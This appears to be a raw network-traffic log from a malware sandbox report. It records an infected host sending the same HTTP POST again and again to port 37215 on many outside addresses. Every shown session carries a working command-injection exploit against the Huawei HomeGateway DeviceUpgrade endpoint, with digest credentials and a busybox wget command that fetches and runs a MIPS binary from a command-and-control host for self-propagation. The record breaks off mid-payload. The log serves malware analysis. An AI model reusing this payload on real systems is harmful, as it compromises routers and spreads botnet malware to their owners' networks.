Nov 3, 2024 15:37:11.488142967 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.14	37750	41.204.27.199	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488156080 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.14	33438	41.127.161.90	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488172054 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.14	56340	197.183.22.28	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488194942 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.14	57540	156.130.214.19	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488214016 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.14	49890	197.254.17.218	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488225937 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.14	59588	41.179.185.245	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488271952 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.14	50894	197.213.145.152	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488286972 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.14	54774	156.103.148.132	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488307953 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.14	40444	41.210.242.120	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488327980 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.14	37294	156.1.250.39	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488337040 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 